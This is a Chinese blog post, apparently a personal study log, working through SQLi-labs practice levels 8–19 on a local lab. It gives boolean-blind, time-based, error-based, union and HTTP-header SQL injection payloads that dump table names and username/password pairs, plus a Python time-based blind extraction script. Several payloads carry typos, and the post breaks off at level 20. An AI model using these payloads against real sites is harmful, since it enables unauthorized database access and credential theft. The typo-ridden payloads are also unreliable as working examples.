sqli_labs靶场——第8-22关

第8关

手工

注入点

  1. 单引号
    输入单引号页面不能正常显示
    2.构造正确逻辑
    页面正常显示
    3.错误逻辑
    页面什么不显示
    补充:根据页面显示,本关可以用布尔盲注和时间注入;选择用布尔盲注,因为9-10是可以练习时间注入的

数据库长度

数据库

利用Burpsuite,帮助我们加快测试的流程

语句

  • ' and ascii(substr(database(),1,1))=97--+

使用bp



使用时,会出现下图的提示



根据上图的结果,查看ascii码表可得出数据库为security

数据表

确定当前库中有几张表

命令

1' and (select count(table_name) from inforrmation_schema.tables where table_schema=database())=1--+

使用bp



设置变量,根据返回的特征you are in......来确定当前表的数量
得到结果4张表

确定第x张表的长度

命令

1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5--+

确定表名

1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)=a--+
1' and asci(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=97--+

使用bp

我麻木了,不想进行此步操作了

确定有几列

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=1--+

确定第x列的长度

1' and length((选择列的命令 limit 0,1))=3--+

确定第x列的名字

1' and substr((选择列的命令 limit 0,1),1,1)='a'--+
1' and ascii(substr((选择列的命令 limit 0,1),1,1))=97--+

具体数值

获取字段有多少行数据

获取每行数据的长度

获取每行的具体内容

工具

获取当前数据库

获取表名

获取列名

获取数值

总结

数据库/表/列长度

  • length(database())=1--+
  • length((select table_name from information_schema.tables where table_schema=databasse() limit 0,1))=1--+
  • length((select column_name from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1))=1--+
    不变的是length((确定目标的命令))=1--+

多少个表/列

  • (select count(table_name) from infromation_schema.tables where table_schema=database()=1)--+
  • (select count(column_name) from information_schema.columns where table_schama=database and table_name='xxx')=1--+

具体数值

用到substr() 和ascii()

第9关

手工

确定注入点

输入’页面显示正常,我们尝试‘ and sleep(5)--+
可以看到页面加载时间变长了,可确定有注入点

猜解数据库

’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
’ and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

猜解数据表

' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) 1,1))=101,sleep(5),1)--+

猜解列

' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1) 1,1))=105,sleep(5),1)--+
补充:因为我搭建环境的数据库中有两张user表,所以需要数据库名称做一个限定

得数据(列:username;表:users)

' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)--+

总结

时间注入和布尔盲注都是基于盲注的一个攻击手法,不过布尔盲注实在页面会显示对错情况狂下用的方法,如果页面连对错都不显示了,就用时间注入。

第10关

手工

确定注入点

输入’页面显示正常
我们尝试‘ and sleep(5)--+页面显示正常
再尝试“ and sleep(5)--+页面加载时间边长
步骤和第9关一致(将‘换成”)

工具

在网上找到一段半手工测试的代码

import requests
import time

url='http://127.0.0.1/sql/Less-10?id=1'

database='select schema_name from information_schema.schemata'
table='select table_name from information_schema.tables where table_schema=database()'
column='select column_name from information_schema.columns where table_name=database() and table_schema=database()'

result=''
for i in range(1,30):
    for j in range(48,122):
        payload='" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
        stime=time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime>=2:
            result+=chr(j)
            print result
            break

我们得到了第一个数据库名字

通过调整变量payload中limit 0,1中的0的数值,来切换其它数据库
测数据表的时候,修改format()中第一个参数


当然sqlmap更方便


第11关

找注入点

在登录页面输入数据,参数并没有显示在URL上,发现是post型

在参数后加入单引号抓包

页面报错得到存在注入点的可能性

确定页面有几个输出点

可以用万能密码获取到目标站点的用户



目标当前表有两列
之后获取数据库,获取表、列、数据与get型一样

工具

是否有注入点


第12关

手工

测注入点

输入单引号无报错,尝试双引号

报错,通过报错信息可知username的参数闭合方式("参数")
输入")# 页面没报错

再输入") and 1=1 # 和 ") and 1=2#页面没报错

确定当前数据库的列数


第三列时报错,可确定当前数据库列数为2

确定页面可以返回数据的地方

  • ") unon select 1,2#

获取数据库信息

  • ") union select 1,database()#

获取数据表

  • ") union select 1,GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'#

获取users表中的列

  • ") union select 1,GROUP_CONCAT(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

获取users标中username和password中的数值

  • ") union select 1,GROUP_CONCAT(username,0x7e,password) from users#

工具

使用sqlmap和11关类似


第13关

手工

测试注入点


输入') # 页面未报错,输入') and 1=1# ') and 1=2# 页面未报错
补充:本关可以使用报错注入、布尔盲注、时间注入。本次我们采用报错注入

数据库名

  • ') and extracvalue(1,concat(0x7e,(select database()),0x7e))#

数据表名

  • ') union select * from (select count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema='security'))a from information_schema.tables group by a) b#

列名

  • ') and updatexml(1,concat(0x7e,(select GROUP_CONCAT(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)#

数据

  • ') and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e))#

工具


第14关

手工

测注入点

输入单引号'没有报错,输入双引号页面报错

补充:本关我们采用布尔盲注,需要知道目标网页的用户名,用户名正确的前提下,才可保证

数据库长度

  • admin" and length(database())>7#


    数据库长度为8

其余步骤和第8关类似,套用相关代码可得出相关数据


第15关

手工

判断注入点

输入单引号,页面没有任何反应;输入双引号,页面没有任何反应
尝试时间注入的报错尝试

获取数据库

  • admin' and if (ascii(substr(database(),1,1))=115,sleep(5),1)#

获取数据表

  • admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)#

获取列名

  • admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)#

获取值

第16关

手工

获取注入点

单引号、双引号页面没有变化;
输入admin" and sleep(5)#和admin' and sleep(5)#页面没有变化
输入admin") and sleep(5)#,页面延迟5秒,得到闭合语句为")
其余注入步骤与第15关类似


第17关

手工

判断注入点

首先页面给了提示:意思是密码重置

输入正确的用户名,在密码除输入单引号进行尝试

可得结果:password处的闭合为''

获取数据库

and (updatexml(1,concat(0x7e,database(),0x7e),1))#

其余步骤与前面报错注入演示一致


第18关

确定注入点

分别在username和password处输入单引号'和双引号'页面没有报错

留意到页面处有ip地址的显示

抓包分析


并未得到什么有用的信息

源码分析

关于源码分析,可以看国光的sqlilabs靶场精简学习记录:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-4

由此知道为什么在username和password处输入’没有反应了,被过滤掉了

此处我们输入的用户名和密码被成功查询后(注入的时候只有保证用户名和密码都正确,构造的payload才会执行),会执行图上的插入语句,会增加变量uagent、IP、uname,uname是我们输入的用户名

在代码处搜索,得知IP是REMOTE_ADDR代表客户端IP, uagent是http报头里的user-agent
REMOTE_ADDR的介绍:https://www.cnblogs.com/luxiaojun/p/10451860.html
结论是IP地址我们不太好修改,但user-agent很容易修改

验证user-agent参数出的注入点

记得出入正确的用户名和密码,在这里卡了好久

获取数据

1'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,0x7e,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1


第19关

确定注入点

输入正确用户名和密码,可通过页面提示知道,本关的注入点在referer处
如果没有提示呢,可以抓包在报头的referer、cookie、host、user-agent、client-ip、x-forward-for处添加'看有没有报错

获取数据

',updatexml(1,concat(0x3a,(database()),0x3a),1))#

这里有个问题是,不清楚为什么按照18关用and 和 '1'='1构造语句的时候,没有成功


第20关

posted @ 2022-01-02 21:39  ceiling~  阅读(228)  评论(0编辑  收藏  举报